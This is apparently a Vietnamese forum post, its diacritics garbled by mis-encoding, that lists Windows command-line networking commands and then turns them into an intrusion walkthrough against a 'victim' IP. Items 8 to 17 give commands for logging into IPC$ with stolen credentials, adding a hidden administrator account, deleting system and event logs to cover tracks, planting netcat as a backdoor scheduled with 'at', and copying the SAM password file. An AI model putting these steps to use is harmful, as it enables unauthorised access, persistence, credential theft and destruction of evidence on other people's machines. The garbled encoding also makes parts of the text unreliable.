l?nh dos trong lan 1. l?nh ping : c� ph�p: code: ping ip/host [/t][/a][/l][/n] - ip: d?a ch? ip c?a m�y c?n ki?m tra; host l� t�n c?a m�y t�nh c?n ki?m tra. ngu?i ta c� th? s? d?ng d?a ch? ip ho?c t�n c?a m�y t�nh. - tham s? /t: s? d?ng tham s? n�y d? m�y t�nh li�n t?c "ping" d?n m�y t�nh d�ch, cho d?n khi b?n b?m ctrl + c - tham s? /a: nh?n d?a ch? ip t? t�n host - tham s? /l : x�c d?nh d? r?ng c?a g�i tin g?i di ki?m tra. m?t s? hacker s? d?ng tham s? n�y d? t?n c�ng t? ch?i d?ch v? m?t m�y t�nh (ping of death - m?t lo?i dos), nhung t�i nghi l� hacker c� c�ng c? ri�ng d? ping m?t g�i tin l?n nhu th? n�y, v� ph?i c� nhi?u m�y t�nh c�ng ping m?t lu?t. - tham s? /n : x�c d?nh s? g�i tin s? g?i di. v� d?: ping 174.178.0.1/n 5 c�ng d?ng : + l?nh n�y du?c s? d?ng d? ki?m tra xem m?t m�y t�nh c� k?t n?i v?i m?ng kh�ng. l?nh ping s? g?i c�c g�i tin t? m�y t�nh b?n dang ng?i t?i m�y t�nh d�ch. th�ng qua gi� tr? m� m�y t�nh d�ch tr? v? d?i v?i t?ng g�i tin, b?n c� th? x�c d?nh du?c t�nh tr?ng c?a du?ng truy?n (ch?ng h?n: g?i 4 g�i tin nhung ch? nh?n du?c 1 g�i tin, ch?ng t? du?ng truy?n r?t ch?m (x?u)). ho?c cung c� th? x�c d?nh m�y t�nh d� c� k?t n?i hay kh�ng (n?u kh�ng k?t n?i,k?t qu? l� Unknow host).... 2. l?nh tracert : c� ph�p : code: tracert ip/host c�ng d?ng : + l?nh n�y s? cho ph�p b?n "nh�n th?y" du?ng di c?a c�c g�i tin t? m�y t�nh c?a b?n d?n m�y t�nh d�ch, xem g�i tin c?a b?n v�ng qua c�c server n�o, c�c router n�o... qu� hay n?u b?n mu?n tham d� m?t server n�o d�. 3. l?nh net send, g?i th�ng di?p tr�n m?ng (ch? s? d?ng tr�n h? th?ng m�y t�nh win nt/2000/xp): c� ph�p: net send ip/host th�ng_di?p_mu?n_g?i c�ng d?ng: + l?nh n�y s? g?i th�ng di?p t?i m�y t�nh d�ch (c� d?a ch? ip ho?c t�n host) th�ng di?p: th�ng_di?p_mu?n_g?i. + trong m?ng lan, ta c� th? s? d?ng l?nh n�y d? chat v?i nhau. trong ph�ng vi t�nh c?a tru?ng tui thu?ng d�ng l?nh n�y d? gh?o m?i ngu?i! b?n cung c� th? g?i cho t?t c? c�c m�y t�nh trong m?ng lan theo c?u tr�c sau : code: net send * hello!i'm pro_hacker_invn 4. l?nh netstat : c� ph�p: code: netstat [/a][/e][/n] - tham s? /a: hi?n th? t?t c? c�c k?t n?i v� c�c c?ng dang l?ng nghe (listening) - tham s? /e: hi?n th? c�c th�ng tin th?ng k� Ethernet - tham s? /n: hi?n th? c�c d?a ch? v� c�c s? c?ng k?t n?i... ngo?i ra c�n m?t v�i tham s? kh�c, h�y g� Netstat/? d? bi?t th�m c�ng d?ng : + l?nh netstat cho ph�p ta li?t k� t?t c? c�c k?t n?i ra v� v�o m�y t�nh c?a ch�ng ta. 5. l?nh ipconfig : c� ph�p: code: ipconfig /all c�ng d?ng: + l?nh n�y s? cho ph�p hi?n th? c?u h�nh ip c?a m�y t�nh b?n dang s? d?ng, nhu t�n host, d?a ch? ip, m?t n? m?ng... 6. l?nh ftp (truy?n t?i file): c� ph�p: code: ftp ip/host n?u k?t n?i th�nh c�ng d?n m�y ch?, b?n s? v�o m�n h�nh ftp, c� d?u nh?c nhu sau: code: ftp>_ t?i d�y, b?n s? th?c hi?n c�c thao t�c b?ng tay v?i ftp, thay v� d�ng c�c chuong tr�nh ki?u cute ftp, flash fxp. n?u k?t n?i th�nh c�ng, chuong tr�nh s? y�u c?u b?n nh?p user name, password. n?u username v� pass h?p l?, b?n s? du?c ph�p upload, duy?t file... tr�n m�y ch?. m?t s? l?nh ftp co b?n: -cd thu_muc: chuy?n sang thu m?c kh�c tr�n m�y ch? - dir: xem danh s�ch c�c file v� thu m?c c?a thu m?c hi?n th?i tr�n m�y ch? - mdir thu_muc: t?o m?t thu m?c m?i c� t�n thu_muc tr�n m�y ch? rmdir thu_muc: xo� (remove directory) m?t thu m?c tr�n m�y ch? - put file: t?i m?t file file (d?y d? c? du?ng d?n. vd: c:\tp\bin\baitap.exe) t? m�y b?n dang s? d?ng l�n m�y ch?. - close: ��ng phi�n l�m vi?c - quit: tho�t kh?i chuong tr�nh ftp, quay tr? v? ch? d? dos command. ngo�i ra c�n m?t v�i l?nh n?a, xin m?i c�c b?n t? t�m hi?u. c�ng d?ng : + ftp l� m?t giao th?c du?c s? d?ng d? g?i v� nh?n file gi?a c�c m�y t�nh v?i nhau. windows d� c�i d?t s?n l?nh ftp, c� t�c d?ng nhu m?t chuong tr�nh ch?y tr�n n?n console (van b?n), cho ph�p th?c hi?n k?t n?i d?n m�y ch? ftp 7. l?nh net view : c� ph�p: code: net view [\\computer|/domain[:ten_domain]] c�ng d?ng: + n?u ch? d�nh net view [enter], n� s? hi?n ra danh s�ch c�c m�y t�nh trong m?ng c�ng domain qu?n l� v?i m�y t�nh b?n dang s? d?ng. + n?u d�nh net view \\tenmaytinh, s? hi?n th? c�c chia s? t�i nguy�n c?a m�y t�nh tenmaytinh . sau khi s? d?ng l?nh n�y, c�c b?n c� th? s? d?ng l?nh net use d? s? d?ng c�c ngu?n t�i nguy�n chia s? n�y.
8. l?nh net use : c� ph�p: code: net use \\ip\ipc$ "pass" /user:"xxx" - ip: d?a ch? ip c?a victim. - xxx: user c?a m�y victim - pass: password c?a user gi? s? ta c� dc user v� pass c?a victim c� IP l� 68.135.23.25 tr�n net th� ta d� c� th? k?t n?i d?n m�y t�nh d� r�i d?y! v� d?: user: vitim ; pass :12345 . ta d�ng l?nh sau: code: net use \\68.135.23.25\ipc$ "12345" /user:"victim" c�ng d?ng: + k?t n�i m?t ipc$ d?n m�y t�nh victim (b?t d?u qu� tr�nh x�m nh?p). 9. l?nh net user : c� ph�p: code: net user [username pass] [/add] - username : t�n user c?n add - pass : password c?a user c?n add khi d� add dc user v�o r�i th� ta ti?n h�nh add user n�y v�o nh�m administrator. code: net localgroup adminstrator [username] [/add] c�ng d?ng: + n?u ta ch? d�nh l?nh net user th� s? hi?n th? c�c user c� trong m�y t�nh. + n?u ta d�nh l?nh net user [username pass] [/add] th� m�y t�nh s? ti?n h�nh th�m m?t ngu?i d�ng v�o. v� d?: ta ti?n h�nh add th�m m?t user c� t�n l� xuanhoa , password l� :banvatoi v�o v?i c?u tr�c l?nh nhu sau: code: net user xuanhoa banvatoi /add sau d� add user xuanhoa v�o nh�m adminnistrator code: net localgroup administrator xuanhoa /add 10. l?nh shutdown: c� ph�p: code: shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (�p d?ng cho win xp) - tham s? -m\\ip : ra l?nh cho m?t m�y t�nh t? xa th?c hi�n c�c l?nh shutdown, restart,.. - tham s? -t xx : d?t th?i gian cho vi?c th?c hi?n l?nh shutdown. - tham s? -l : logg off (luu � ko th? th?c hi?n khi remote) - tham s? -s : shutdown - tham s? -r : shutdown v� restart - tham s? -a : kh�ng cho shutdown - tham s? -f : shutdown m� ko c?nh b�o tham s? -c "comment" : l?i c?nh b�o tru?c khi shutdown - tham s? -d upx:yy : ko r� Code: shutdown \\ip (�p d?ng win nt) �? r� hon v? l?nh shutdown b?n c� th? g� shutdown /? d? du?c hu?ng d?n c? th? hon! c�ng d?ng: + shutdown m�y t�nh. 11. l?nh dir : c� ph�p: code: dir [drive:][path][filename] l?nh n�y qu� can b?n r�i, ch?c tui kh?i hu?ng d?n, d? r� hon b?n d�nh l?nh dir /? d? du?c hu?ng d?n. c�ng d?ng: + �? xem file, folder. 12. l?nh del : c� ph�p: code: del [drive:][path][filename] l?nh n�y cung can b?n r�i, ko ph?i n�i nh�u. c�ng d?ng: x�a m?t file, th�ng thu?ng sau khi x�m nh?p v�o h? th?ng, ta ph�i ti?n h�nh x�a d?u v?t c?a m�nh d? kh?i b? ph�t hi?n.sau d�y l� nh?ng files nh?t k� c?a win nt: code: del c:\winnt\system32\logfiles\*.* del c:\winnt\ssytem32\config\*.evt del c:\winnt\system32\dtclog\*.* del c:\winnt\system32\*.log del c:\winnt\system32\*.txt del c:\winnt\*.txt del c:\winnt\*.log 13. l?nh t?o ? dia ?o tr�n computer: c� ph�p: code: net use z: \\ip\c$ ( ho?c l� Ipc$ ) - z l� c?a m�nh...c�n C$ l� c?a victim c�ng d?ng: t?o 1 dia ?o tr�n m�y t�nh (l?nh n�y tui ko r� n�n ko th? hu?ng d?n chi ti?t dc) 14. l?nh net time : c� ph�p: code: net time \\ip c�ng d?ng: + cho ta bi?t th?i gian c?a victim, sau d� d�ng l?nh at d? kh?i d?ng chuong tr�nh. 15. l?nh at: c� ph�p: code: at \\ip c�ng d?ng: + th�ng thu?ng khi x�m nh?p v�o m�y t�nh victim khi r�t lui th� ta s? t?ng qu� luu ni?m l�n m�y t�nh victim, khi d� copy troj ho?c backdoor l�n m�y t�nh r�i ta s? d�ng l?nh at d? kh?i d?ng ch�ng. v� d?: ? d�y tui c� con troj t�n nc.exe (nc l� t? vi?t t?c c?a netcat....n� l� m?t telnet server v?i port 99) v� dc copy l�n m�y victim r�i. �?u ti�n ta c?n bi?t th?i gian c?a victim c� IP l� : 68.135.23.25 . code: net time \\68.135.23.25 b�y h n� s? ph?n h?i cho ta th?i gian c?a victim, v� d? : 12:00. code: at \\68.135.23.25 12:3 nc.exe �?i d?n 12:3 l� n� s? t? ch?y tr�n m�y n?n nh�n v� ch�ng ta c� th? connected d?n port 99. 16. l?nh telnet: c� ph�p: code: telnet host port g� telnet /? d? bi?t th�m chi ti?t. nhung n?u nhu m�y victim d� d�nh con nc r?i th� ta ch? c?n connect d?n port 99 l� Okie code: telnet 68.135.23.25 99 c�ng d?ng: + k?t n?i d?n host qua port xx 17. l?nh copy: c� ph�p: code: copy /? d�ng l?nh tr�n d? r� hon! c�ng d?ng: + copy file, tui kh?i n�i th�m nh�. v� d?:ch�ng ta copy files index tr�n ? c c?a m�nh l�n ? c c?a 127.0.0.1 code: copy index.html \\127.0.0.1\c$\index.html n?u b?n copy l�n folder winnt code: copy index.html \\127.0.0.1\admin$\index.html mu?n copy files tr�n m�y victm th� b?n g� v�o : code: copy \\127.0.0.1\admin$\repair\sam._c:\ 18. l?nh set: c� ph�p: code: set c�ng d?ng: + displays, sets, or removes cmd.exe enviroment variables. 19. l?nh nbtstat: c� ph�p: code: nbtstat /? g� l?nh tr�n d?
r� hon v? l?nh n�y. c�ng d?ng: + display protocol statistic and curent tcp/ip connections using nbt (netbios over tcp?ip) tr�n d�y l� m?t s? hi?u bi?t h?n h?p c?a em v? c�c l?nh cmd, em d� d?c du?c t? r?t nhi?u ngu?n kh�c nhau, nay t?ng h?p l?i cho m?i ngu?i tham kh?o. c� m?t s? l?nh em v?n chua hi?u c?u tr�c l?nh v� chua c� di?u ki?n d? th?c h�nh th? n�n ko hu?ng d?n k?. ai bi?t th� g�p � nh�! mong c�c pro d?ng cu?i! n?u th?y b�i vi?t c?a em hay th� l�m on thank cho m?t c�i nh